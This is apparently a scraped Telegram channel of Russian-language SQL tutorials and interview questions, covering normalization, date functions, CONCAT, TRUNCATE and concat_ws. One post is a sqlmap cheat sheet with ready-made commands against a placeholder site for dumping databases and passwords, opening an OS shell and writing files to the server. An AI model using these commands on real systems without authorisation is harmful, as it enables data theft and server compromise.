SQL и БД Learning – Telegram
SQL и БД Learning
10.2K subscribers
797 photos
9 videos
22 files
445 links
№ 5060218708

Изучаем SQL с нуля

По всем вопросам @mascarov_valentin

Реклама на бирже - https://telega.in/c/SQl_and_DB_Learning
Download Telegram
#Вопросы_с_собеседования

Объясните различные типы нормализации

Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.

Первая нормальная форма (1NF) — нет повторяющихся групп в строках
Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
👍10
#Вопросы_с_собеседования

Получите SQL запросом все возрасты без дублирования

Ответ картинке.
👍7😁5🎄1
DROP COLUMN

Чтобы удалить определенный столбец из таблицы, мы сделаем следующее.
👍7
SQL — Числовые функции. Подробная шпаргалка.

Смотреть
👍8🔥1
#Вопросы_с_собеседования

Переименуйте таблицу table2 в table3

Ответ на картинке.
👍10
#Вопросы_с_собеседования

Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года

Ответ на картинке.
👍9❤‍🔥5
#Вопросы_с_собеседования

Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года

Ответ на картинке.
👍14
🔐 Шпаргалка по использованию sqlmap

SQLMAP — это инструмент для проникновения с открытым исходным кодом.

SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🌟 Базовый скан URL на наличие уязвимостей:

sqlmap -u "http://example.com/page.php?id=1"


🌟 Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs


🌟 Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables


🌟 Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump


🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"


🌟 Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user


🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell


🌟 Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"


🌟 Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba


🌟 Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords


🌟 Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"


🌟 Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns


🌟 Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"


🌟 Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner


🌟 Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍4
Задача

Выбрать все записи из таблицы tbl_name и отсортировать их по полю id в обратном порядке.
👍10
Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?

Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.

Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
1👍12
#Вопросы_с_собеседования

При выборке из таблицы workers выведите дату в формате '31.12.2025'

Ответ на картинке.
👍10
Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей

Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.

Пример SQL-запроса для создания поля new_field на фото.

В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.

Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
👍8
🖥 Список СУБД
Please open Telegram to view this post
VIEW IN TELEGRAM
👍20😁6
Компактная таблица-шпаргалка по SQL.

Шпаргалка
👍15
This media is not supported in your browser
VIEW IN TELEGRAM
TRUNCATE мгновенно удаляет все строки в таблице

Одновременно удалите строки из дочерних таблиц с помощью функции

TRUNCATE TABLE ... CASCADE

Для этого внешние ключи должны быть ON DELETE CASCADE
👍11
Какой результат вернет следующий PostgreSQL/MySQL запрос:
SELECT GREATEST (6.62, - 8, '82') ;
Anonymous Quiz
24%
6.62
2%
- 8
26%
82
30%
Ошибка
19%
Посмотреть ответы
👍14
#Вопросы_с_собеседования

В чем разница между функциями NOW() и CURRENT_DATE() в PostgreSQL/MySQL?

NOW() возвращает время, когда начал исполняться оператор.

Основное различие между NOW() и CURRENT_DATE() заключается в том, что NOW() получает текущую дату и время в формате 'YYYY-MM-DD HH:MM:SS', а CURRENT_DATE() получает дату текущего дня 'YYYY-MM-DD'.
👍4❤‍🔥1
Делаем SQL-запросы чище

Периодически в коде запросов и "заточенных" под них индексов наблюдаю примерно подобные куски:

coalesce("Фамилия", '') || ' ' || coalesce("Имя", '') || ' ' || coalesce("Отчество", '')


Понятно, что тут хотели обезопасить себя от заполненности любого из полей NULL-значением, чтобы случайно вся строка не заNULL'илась.

Правда, тут возникают некоторые артефакты в виде "висящих пробелов" типа ' Иван Иванович' или 'Иванов Иван '.

Но ведь есть решение изящнее и проще - функция concat_ws:
concat_ws(' ', "Фамилия", "Имя", "Отчество")
👍10